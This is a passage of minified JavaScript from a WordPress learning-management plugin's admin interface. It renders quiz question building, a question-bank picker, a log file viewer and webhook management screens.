Bank","learning-management-system")),l().createElement(C.s,null),l().createElement(Je.Op,v,l().createElement(x.c,{px:6,overflow:"hidden"},l().createElement(ht.r,{templateColumns:{base:"1fr",md:"2fr 1fr 1fr"},spacing:4,py:4,position:"sticky",top:0,zIndex:10,bg:"white",boxShadow:"sm",transition:"box-shadow 0.2s ease-in-out"},l().createElement(Ne.MJ,{w:"100%"},l().createElement(Ha.M,null,l().createElement($n.m,{label:(0,E.__)("Select All","learning-management-system")},l().createElement(ft.s,{p:2,mr:2,align:"center",justify:"center"},l().createElement(On.S,{isDisabled:Q.isLoading||Q.isFetching,isIndeterminate:F.length>0&&o.length>0&&o.length<F.length,isChecked:F.length>0&&o.length>0&&o.length===F.length,onChange:e=>{if(e.target.checked){var t=F.map((e=>{var t;return null==e||null===(t=e.id)||void 0===t?void 0:t.toString()}));m(t||[])}else m([])}}))),P&&l().createElement(Ja.t,null,l().createElement(Le.Tfw,{cursor:"pointer",onClick:()=>I("searchQuery","")})),l().createElement(Je.xI,{name:"searchQuery",control:S,render:()=>l().createElement(Ma.p,(0,Re.A)({},B("searchQuery"),{placeholder:(0,E.__)("Search Questions...","learning-management-system"),bg:"white"}))}))),l().createElement(Ne.MJ,{w:"100%"},l().createElement(Je.xI,{name:"questionType",control:S,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Di,{isDisabled:Q.isLoading||Q.isFetching,isMulti:!0,placeholder:(0,E.__)("Question Types","learning-management-system"),onChange:t,value:n,closeMenuOnSelect:!0,isClearable:!0,isOptionDisabled:e=>null==e?void 0:e.isPro,components:{Option:e=>l().createElement(Ii.dK.Option,e,l().createElement(ft.s,{justify:"flex-start",align:"center",gap:2,pointerEvents:e.data.isPro?"none":"auto",cursor:"pointer"},l().createElement($e.I,{as:e.data.icon,fontSize:"md"}),l().createElement(g.E,{fontSize:"xs",flex:1},e.data.label),e.data.isPro&&l().createElement(yl,{ml:1})))},options:mC,menuPortalTarget:"undefined"!=typeof document?document.body:void 0,menuPosition:"fixed",menuPlacement:"auto",styles:{menuPortal:e=>sC(sC({},e),{},{zIndex:9999})}})}})),l().createElement(Xw,{showFormLabel:!1})),Q.isLoading?l().createElement(Qd,{no_of_items:5}):Q.isSuccess&&$(F)?l().createElement(at,null,(0,E.__)("No questions found.","learning-management-system")):l().createElement(tC,{itemCount:F.length,getItemHeight:M,renderItem:L,containerRef:u,useParentScroll:!1,height:"base"!==y&&"xs"!==y&&"sm"!==y&&"md"!==y?"60vh":"40vh",overflowY:"auto",isLoading:Q.isInitialLoading,customLoader:l().createElement(Qd,null),onLoadMore:()=>{j&&!V&&Q.fetchNextPage()},border:"gray.100",borderWidth:1,borderRadius:"md",position:"relative"}),V&&l().createElement(ft.s,{position:"absolute",bottom:"60px",left:"50%",transform:"translateX(-50%)",zIndex:2,p:2,bg:"whiteAlpha.800",borderRadius:"md",boxShadow:"md"},l().createElement(bt.y,null)),l().createElement(A.j,{padding:4,justifyContent:"space-between"},l().createElement(g.E,{fontSize:"sm",color:"gray.500"},null==o?void 0:o.length,(0,E.__)(" items selected","learning-management-system")),l().createElement(Bt.e,{gap:2},l().createElement(p.$,{variant:"outline",onClick:i},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{leftIcon:l().createElement(Yw.enO,{size:15}),colorScheme:"primary",isDisabled:$(F)||$(o),isLoading:z.isPending,onClick:()=>z.mutate(o)},(0,E.__)("Add Selected ","learning-management-system")," ")))))))};function uC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function dC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?uC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):uC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const gC=e=>{var t,{quizName:n,quizId:r,courseId:i,questionList:o,setQuestionList:m,tabIndex:c}=e,A=new mt(rt.questions),y=new mt(rt.quizBuilder),v=(0,s.jE)(),[f,h]=(0,a.useState)([]),{isOpen:b,onOpen:w,onClose:C}=(0,Ue.j)(),{isOpen:x,onOpen:S,onClose:B}=(0,Ue.j)(),[I,O]=(0,a.useState)(null),[P,D]=(0,a.useState)(null),_=(0,Pn.I)(dC({queryKey:["questions".concat(r),r],queryFn:()=>y.getQuizQuestions(r,{per_page:999})},{enabled:1===c&&!!r})),k=(0,wt.n)(dC({mutationFn:e=>A.store(e)},{onSuccess:e=>{v.invalidateQueries({queryKey:["questions".concat(r)]}),B(),O(null),D(null==e?void 0:e.id)}}));return(0,a.useEffect)((()=>{null!=_&&_.isSuccess&&m(null==_?void 0:_.data)}),[null==_?void 0:_.data,null==_?void 0:_.isSuccess,m]),l().createElement(Bw,null,l().createElement(cC,{onClose:C,isOpen:b,quizId:r}),l().createElement(d.B,{direction:"column",spacing:"6",py:"8"},_.isLoading&&l().createElement(u.T,{px:4,spacing:2},[1,2,3].map((e=>l().createElement(Qe.a,{key:e,borderWidth:"1px",borderRadius:"base",borderColor:"gray.200",px:4,py:6,w:"100%"},l().createElement(Ze.z,{spacing:4,align:"center"},l().createElement(St.E,{boxSize:"6"}),l().createElement(St.E,{height:"20px",flex:"1"}),l().createElement(St.E,{height:"16px",width:"24"})))))),l().createElement(l().Fragment,null,_.isSuccess&&l().createElement(l().Fragment,null,l().createElement(zw,{isOpen:x,onClose:B,onSelectType:e=>{var t,n;O(e),k.mutate({name:(t=e,null!==(n=Oe[t])&&void 0!==n?n:t),course_id:i,parent_id:r,type:e,answers:Ie(e)})},isLoading:null==k?void 0:k.isPending,disabledQuestionType:I}),0==(null==o||null===(t=o.data)||void 0===t?void 0:t.length)?l().createElement(d.B,{direction:"column",alignItems:"center",gap:"16px"},l().createElement(Cw,null),l().createElement(d.B,{direction:"column",gap:"14px"},l().createElement(ke.D,{fontSize:"2xl",color:"charcoal-gray",fontWeight:"semibold"},(0,E.__)("No Questions Found","learning-management-system")),l().createElement(g.E,{color:"charcoal-gray",fontSize:"md",fontWeight:"normal"},(0,E.__)("Add new question to add your content","learning-management-system")))):l().createElement(Kc.JY,{onDragEnd:e=>{if(e.destination&&(e.destination.droppableId!==e.source.droppableId||e.destination.index!==e.source.index)){var t=Array.from(null==o?void 0:o.data),[n]=t.splice(e.source.index,1);t.splice(e.destination.index,0,n),m({data:t,meta:o.meta})}}},l().createElement(Kc.gL,{droppableId:"quiz-question",type:"question"},((e,t)=>{var n;return l().createElement(Qe.a,(0,Re.A)({sx:t.isDraggingOver?tn:{},p:["0","0","3"],w:"100%",ref:e.innerRef},e.droppableProps),null===(n=N(null==o?void 0:o.data)?null==o?void 0:o.data:[])||void 0===n?void 0:n.map(((e,t)=>l().createElement(Jw,{key:e.id,questionData:e,index:t,quizId:r,openedQuestionDetail:P,setOpenedQuestionDetail:D,bulkIds:f,setBulkIds:h,isQuestionBankOpened:b}))),e.placeholder)}))),l().createElement(_e.o,{px:"5",mt:2},l().createElement(Ze.z,{spacing:2},l().createElement(p.$,{as:wc,bg:"frosted-sky",border:"none",borderRadius:"base",colorScheme:"primary",variant:"outline",fontSize:"xs",onClick:S,isDisabled:null==k?void 0:k.isPending,_hover:{textDecoration:"none",bg:"frosted-sky-lighter"}},(0,E.__)("Add New Question","learning-management-system")),l().createElement(p.$,{borderRadius:"base",border:"none",bg:"frosted-sky",colorScheme:"primary",variant:"outline",fontSize:"xs",onClick:()=>{w(),window.scrollTo({top:0,behavior:"smooth"})},isDisabled:null==k?void 0:k.isPending,leftIcon:l().createElement($e.I,{as:xw,fontSize:"18px"}),_hover:{bg:"frosted-sky-lighter"}},(0,E.__)("Add from Question Bank","learning-management-system")),l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"end"},l().createElement(Li,{title:n,quizId:r,contentType:"quiz",customOpenButton:l().createElement(Si,{isDisabled:null==k?void 0:k.isPending})}))))))))};function AC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function pC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?AC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):AC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const EC=()=>{var e,t,n,r,i,o,m,c,{quizId:u,courseId:g}=(0,vt.g)(),{search:A}=(0,vt.zy)(),{page:y}=M.A.parse(A),{draftCourse:v,publishCourse:f}=Cy(),h=(0,Je.mN)(),b=(0,vt.Zp)(),w=(0,We.d)(),C=new mt(rt.quizes),x=new mt(rt.courses),S=new mt(rt.quizBuilder),B=(0,s.jE)(),I=(0,Je.FH)({control:null==h?void 0:h.control,name:"activeQuizStep",defaultValue:li(y)}),[O,P]=(0,a.useState)({data:[],meta:{total:0,current_page:0,pages:0,per_page:0}}),D=(0,Pn.I)({queryKey:["course".concat(g),g],queryFn:()=>x.get(g,"edit")}),_=(0,Pn.I)({queryKey:["quiz".concat(u),u],queryFn:()=>C.get(u,"edit")}),k=(0,wt.n)(pC({mutationFn:e=>C.update(u,e)},{onSuccess:e=>{ye(B,["builder".concat(g),g],e),B.invalidateQueries({queryKey:["quiz".concat(u)]}),w({title:(0,E.__)("Quiz Updated","learning-management-system"),isClosable:!0,status:"success"}),D.refetch()}})),Q=(0,wt.n)(pC({mutationFn:e=>S.update(u,e)},{onSuccess:e=>{B.invalidateQueries({queryKey:["questions".concat(u)]})}})),z=function(){var e=(0,Te.A)((function*(e,t){var n={duration:60*((null==e?void 0:e.duration_hour)||0)+ +((null==e?void 0:e.duration_minute)||0),duration_hour:void 0,duration_minute:void 0,questions_display_per_page:"1"===e.questions_display_per_page?e.questions_display_per_page_custom:parseInt(e.questions_display_per_page)};"draft"===t?v.mutate(g):"publish"===t&&f.mutate(g);try{var a;yield Q.mutateAsync({questions:null==O||null===(a=O.data)||void 0===a?void 0:a.map((e=>e.id))}),yield k.mutateAsync(ee(e,n))}catch(e){w({title:(0,E.__)("An error occurred","learning-management-system"),description:(null==e?void 0:e.message)||(0,E.__)("Please try again.","learning-management-system"),status:"error",isClosable:!0})}}));return function(t,n){return e.apply(this,arguments)}}();return(0,a.useEffect)((()=>{null!=_&&_.isSuccess&&null!=_&&_.data&&h.reset(h.getValues())}),[null==_?void 0:_.data]),_.isSuccess&&D.isSuccess&&(null==_?void 0:_.data.course_id)==g?l().createElement(Je.Op,h,l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(ci,{onSaveAction:e=>h.handleSubmit((t=>z(pC(pC({},t),{},{status:e})))),previewLink:null==_||null===(e=_.data)||void 0===e?void 0:e.preview_link,isLoading:null==k?void 0:k.isPending,status:null==_||null===(t=_.data)||void 0===t?void 0:t.status}),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Hr,null),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(hw,{quizId:u}),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{hidden:1!==I},l().createElement(gC,{quizName:null==_||null===(n=_.data)||void 0===n?void 0:n.name,courseId:null==_||null===(r=_.data)||void 0===r?void 0:r.course_id,quizId:u,questionList:O,setQuestionList:P,tabIndex:I})),l().createElement("form",{onSubmit:h.handleSubmit((e=>z(e)))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{hidden:0!==I},l().createElement(d.B,{spacing:"6"},l().createElement(Aw,{defaultValue:null==_||null===(i=_.data)||void 0===i?void 0:i.name}),l().createElement(bw,{defaultValue:null==_||null===(o=_.data)||void 0===o?void 0:o.description,QuizName:null==_||null===(m=_.data)||void 0===m?void 0:m.name,data:_,methods:h,isPublished:()=>{var e;return"publish"===(null===(e=D.data)||void 0===e?void 0:e.status)},isDrafted:()=>{var e;return"draft"===(null===(e=D.data)||void 0===e?void 0:e.status)}}))),l().createElement(Qe.a,{hidden:2!==I},l().createElement(pw,{quizData:null==_?void 0:_.data})),l().createElement(Qe.a,{py:"3"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,0===I?l().createElement(p.$,{colorScheme:"primary",onClick:()=>b(Pt.quiz.edit.replace(":courseId",g).replace(":quizId",u)+"?page=questions")},(0,E.__)("Next","learning-management-system")):l().createElement(ww,{methods:h,onSubmit:z,isLoading:k.isPending,quizStatus:null==_||null===(c=_.data)||void 0===c?void 0:c.status}),l().createElement(p.$,{variant:"outline",onClick:()=>b(Pt.courses.edit.replace(":courseId",g))},(0,E.__)("Cancel","learning-management-system"))))))))))):l().createElement(gw,null)};function yC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function vC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?yC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):yC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var fC=e=>{var{logLevel:t}=e,n="";switch(t){case"EMERGENCY":case"CRITICAL":case"ERROR":n="red";break;case"ALERT":n="orange";break;case"WARNING":n="yellow";break;case"NOTICE":n="blue";break;case"INFO":n="green";break;default:n="gray"}return l().createElement(Jt.E,{colorScheme:n},t)};const hC=()=>{var e,t,n,r,{id:i}=(0,vt.g)(),o=new mt(rt.logs),s=(0,vt.Zp)(),m=(0,We.d)(),{onClose:c,onOpen:u,isOpen:d}=(0,Ue.j)(),[A,y]=(0,a.useState)(0),v=(0,Pn.I)(vC({queryKey:["log",i],queryFn:()=>o.get(i)},{enabled:Boolean(i)})),f=(0,wt.n)(vC({mutationFn:()=>{var e;return o.delete(null==v||null===(e=v.data)||void 0===e?void 0:e.id,{force:!0,children:!0})}},{onSuccess:()=>{m({status:"success",title:(0,E.__)("Log Deleted","learning-management-system"),isClosable:!0}),s("".concat(null==Pt?void 0:Pt.tools,"?search=logs=true"))},onError:e=>{m({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return l().createElement(De.m,{maxW:"container.xl",mt:5},l().createElement(Dl,{onClick:()=>s("".concat(null==Pt?void 0:Pt.tools,"?search=logs=true")),mb:5}),l().createElement(Qe.a,{bg:"white",p:["4",null,"10"],shadow:"box"},null!=v&&v.isLoading?l().createElement(fd,null):l().createElement(l().Fragment,null,l().createElement(ft.s,{alignItems:"center",flexWrap:"wrap"},l().createElement(ft.s,{flexDirection:"column",alignItems:"flex-start",flex:1,mb:2},l().createElement(g.E,{fontSize:"large",fontWeight:"semibold"},(0,E.__)("Viewing log file ","learning-management-system"),l().createElement("span",{style:{padding:"3px 7px",backgroundColor:"#F0F0F1"}},Ae(null==v||null===(e=v.data)||void 0===e?void 0:e.name))),l().createElement(ft.s,{alignItems:"center",mt:1},l().createElement($e.I,{as:kt.u$_,fontSize:"small",mr:1}),l().createElement(g.E,{fontWeight:"semibold",fontSize:{base:"smaller",md:"small"}},(0,E.__)("Modified Date: ","learning-management-system"),ie(null==v||null===(t=v.data)||void 0===t?void 0:t.date,"Y-m-d, h:i A")))),l().createElement(Bt.e,{mb:2},l().createElement(p.$,{ml:{base:0,md:2},colorScheme:"primary",leftIcon:l().createElement(kt.Ah9,null),size:"xs",onClick:()=>{var e,t,n=new Blob([(null==v||null===(e=v.data)||void 0===e?void 0:e.log)||""],{type:"text/plain"});JE()(n,(null==v||null===(t=v.data)||void 0===t?void 0:t.name)||"log.log")}},(0,E.__)("Download ","learning-management-system"),"(",null==v||null===(n=v.data)||void 0===n?void 0:n.formatted_size,")"),l().createElement(p.$,{ml:2,colorScheme:"red",leftIcon:l().createElement(Da,{icon:ea,boxSize:"12px"}),size:"xs",onClick:u},(0,E.__)("Delete","learning-management-system")))),l().createElement(Qe.a,{borderRadius:"md",borderColor:"gray.200",borderWidth:1,maxHeight:"100vh",mt:2,overflow:"auto",className:"custom-scrollbar"},(e=>{if(!e.trim())return[{timestamp:"",level:"",message:"",lineNumber:1}];var t=e.split(/\r\n|\r|\n/).filter((e=>e)),n=[];return t.forEach(((e,t)=>{var[a,l,...r]=e.split(" "),i=r.join(" ");n.push({timestamp:a,level:null==l?void 0:l.toUpperCase(),message:i,lineNumber:t+1})})),n})(null==v||null===(r=v.data)||void 0===r?void 0:r.log).map((e=>l().createElement(ft.s,{key:e.timestamp,alignItems:"center"},l().createElement(ft.s,{cursor:"pointer",bgColor:A===(null==e?void 0:e.lineNumber)?"primary.200":"primary.100",maxW:"100px",minWidth:"50px",justifyContent:"center",alignItems:"center",onClick:()=>y(null==e?void 0:e.lineNumber),borderTopWidth:1,borderBottomWidth:1,borderColor:A===(null==e?void 0:e.lineNumber)?"gray.100":"transparent"},l().createElement(g.E,{lineHeight:2,fontWeight:"semibold"},null==e?void 0:e.lineNumber)),l().createElement(Qe.a,{px:5,flex:"1",whiteSpace:"nowrap",overflow:"hidden",textOverflow:"ellipsis",bgColor:A===(null==e?void 0:e.lineNumber)?"gray.100":"transparent",borderWidth:2,borderColor:A===(null==e?void 0:e.lineNumber)?"gray.200":"transparent",borderStyle:"dotted",borderLeftColor:A===(null==e?void 0:e.lineNumber)?"red.200":"transparent",borderRightColor:A===(null==e?void 0:e.lineNumber)?"red.200":"transparent",borderLeftStyle:"solid",borderRightStyle:"solid"},l().createElement(g.E,{display:"inline",fontWeight:"bold"},ie(e.timestamp,"M d, Y h:i:s A")),l().createElement(g.E,{display:"inline",mx:2},l().createElement(fC,{logLevel:e.level})),l().createElement(ze.C,{bgColor:"transparent",display:"inline",whiteSpace:"pre-wrap",overflow:"auto",textOverflow:"ellipsis"},e.message)))))))),l().createElement(qn,{isOpen:d,onClose:c,onConfirm:()=>f.mutate(),action:"delete",isLoading:null==f?void 0:f.isPending,dialogTexts:{default:{header:(0,E.__)("Deleting Log","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},delete:{header:(0,E.__)("Deleting Log","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};function bC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function wC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?bC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):bC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const CC=e=>{var t,n,r,{data:i,filterParams:o}=e,{status:m}=i,c=null===(t=i.created_at)||void 0===t?void 0:t.split(" ")[0],u=(0,We.d)(),y=(0,a.useRef)(),h=(0,s.jE)(),b=new mt(rt.webhooks),{onClose:C,onOpen:S,isOpen:B}=(0,Ue.j)(),I=(0,wt.n)(wC({mutationFn:e=>b.restore(e)},{onSuccess:e=>{Ce(h,["webhooksList",o],null==e?void 0:e.id),h.invalidateQueries({queryKey:["webhooksList"]}),u({title:(0,E.__)("Webhook Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;u({title:(0,E.__)("Failed to restore webhook.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),O=(0,wt.n)(wC({mutationFn:e=>b.delete(e)},{onSuccess:e=>{Ce(h,["webhooksList",o],null==e?void 0:e.id),h.invalidateQueries({queryKey:["webhooksList"]}),u({title:(0,E.__)("Webhook moved to trash","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;u({title:(0,E.__)("Failed to move a webhook to trash.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),P=(0,wt.n)(wC({mutationFn:e=>b.delete(e,{force:!0})},{onSuccess:e=>{Ce(h,["webhooksList",o],null==e?void 0:e.id),h.invalidateQueries({queryKey:["webhooksList"]}),C()},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;u({title:(0,E.__)("Failed to delete webhook.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}}));return l().createElement(l().Fragment,null,l().createElement(_n.Tr,null,l().createElement(_n.Td,null,"trash"===m?l().createElement(g.E,{fontWeight:"semibold"},i.name):l().createElement(je.N,{as:v.N_,to:Pt.webhooks.edit.replace(":webhookId",i.id.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},i.name)),l().createElement(_n.Td,null,m===iA.Active?l().createElement(Jt.E,{bg:"green.500",fontSize:"xs",color:"white"},(0,E.__)("Active","learning-management-system")):l().createElement(Jt.E,{bg:"gray.200",fontSize:"xs",color:"gray.700"},(0,E.__)("Inactive","learning-management-system"))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center"},l().createElement(Oa.e,{src:null===(n=i.author)||void 0===n?void 0:n.avatar_url,size:"xs"}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},null===(r=i.author)||void 0===r?void 0:r.display_name))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(c,"Y-m-d, h:i A")))),l().createElement(_n.Td,null,m===iA.Trash?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>{I.mutate(i.id)},icon:l().createElement(kt.Nyy,null),_hover:{color:"primary.500"}},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:()=>{S()},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.webhooks.edit.replace(":webhookId",i.id.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(Da,{icon:_a,boxSize:"12px"}),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>{O.mutate(i.id)},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system"))))))),l().createElement(Ke.Lt,{isOpen:B,onClose:C,isCentered:!0,leastDestructiveRef:y},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Deleting Webhook","learning-management-system")," ",i.name),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:C,variant:"outline",ref:y},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",isLoading:P.isPending,onClick:()=>{P.mutate(i.id)}},(0,E.__)("Delete","learning-management-system"))))))))};const xC=e=>{var{setFilterParams:t,filterParams:n,status:r}=e,{handleSubmit:i}=(0,Je.mN)(),[o]=(0,xt.U)("(min-width: 48em)"),s=(0,wr.z)({onTypeFinish:e=>{t({search:e,status:r})}},800),[m,c]=(0,a.useState)(o);return(0,a.useEffect)((()=>{c(o)}),[o]),l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement(ft.s,{justify:"end"},!o&&l().createElement(Un.K,{icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large","aria-label":(0,E.__)("toggle filter","learning-management-system"),onClick:()=>c(!m)})),l().createElement(_t.S,{in:m},l().createElement("form",{onChange:i((e=>{t(ne(ee(e,{search:n.search,status:r})))}))},l().createElement(d.B,{direction:["column",null,"row"],spacing:"4",mt:[6,null,0]},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search","learning-management-system")},s,{onKeyDown:e=>"Enter"===e.key&&e.preventDefault()}))))))};function SC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function BC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?SC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):SC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var IC=[{status:"any",name:(0,E.__)("All Webhooks","learning-management-system")},{status:"publish",name:(0,E.__)("Active","learning-management-system")},{status:"draft",name:(0,E.__)("Inactive","learning-management-system")},{status:"trash",name:(0,E.__)("Trash","learning-management-system")}];const OC=()=>{var e,t,n,r,i,o=new mt(rt.webhooks),s=(0,vt.Zp)(),[m,c]=(0,a.useState)({order:"desc",orderby:"date"}),[u,A]=(0,a.useState)("any"),[p]=(0,xt.U)("(min-width: 360px)"),y=(0,Pn.I)({queryKey:["webhooksList",m],queryFn:()=>o.list(m)}),v=(e,t)=>c(ee(BC(BC({},m),{},{order:e,orderby:t})));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,{display:"flex",flexWrap:"wrap",justifyContent:{base:"center",lg:"space-between"}},l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(Yn,{tabs:IC,defaultActive:"any",onTabChange:e=>{A(e),c(ee(m,{status:e}))},counts:null===(e=y.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.webhooks_count,isCounting:y.isLoading})),l().createElement(Kt,{my:{base:2,lg:0}},l().createElement(Nt,{onClick:()=>s(Pt.webhooks.add),leftIcon:p?l().createElement(Da,{icon:Ln,boxSize:"16px"}):void 0},(0,E.__)("Add New Webhook","learning-management-system"))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(xC,{setFilterParams:c,filterParams:m,status:u}),l().createElement(d.B,{direction:"column",spacing:"8",mt:{base:"15px !important",sm:"15px !important",md:"2.5rem !important",lg:"2.5rem !important"}},l().createElement(_n.XI,null,y.isLoading?l().createElement(_d,null):$(null==y||null===(t=y.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{s(Pt.webhooks.add)},title:(0,E.__)("Create Your First Webhook","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Webhook","learning-management-system"),isResultFiltered:Boolean((null==m?void 0:m.search)||(null==m?void 0:m.status)&&"any"!==(null==m?void 0:m.status))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Title","learning-management-system")),l().createElement(Sa,{filterParams:m,filterContentBy:v,orderBy:"title"}))),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(Sa,{filterParams:m,filterContentBy:v,orderBy:"date"}))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==y||null===(n=y.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>l().createElement(CC,{key:null==e?void 0:e.id,data:e,filterParams:m}))))))))),y.isSuccess&&!$(null==y||null===(r=y.data)||void 0===r?void 0:r.data)&&l().createElement(ba,{metaData:null==y||null===(i=y.data)||void 0===i?void 0:i.meta,setFilterParams:c,perPageText:(0,E.__)("Webhook Per Page:","learning-management-system"),extraFilterParams:{order:null==m?void 0:m.order,orderby:null==m?void 0:m.orderby,search:null==m?void 0:m.search,status:null==m?void 0:m.status}})))};const PC=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.delivery_url)},l().createElement(Ge.l,null,(0,E.__)("Delivery 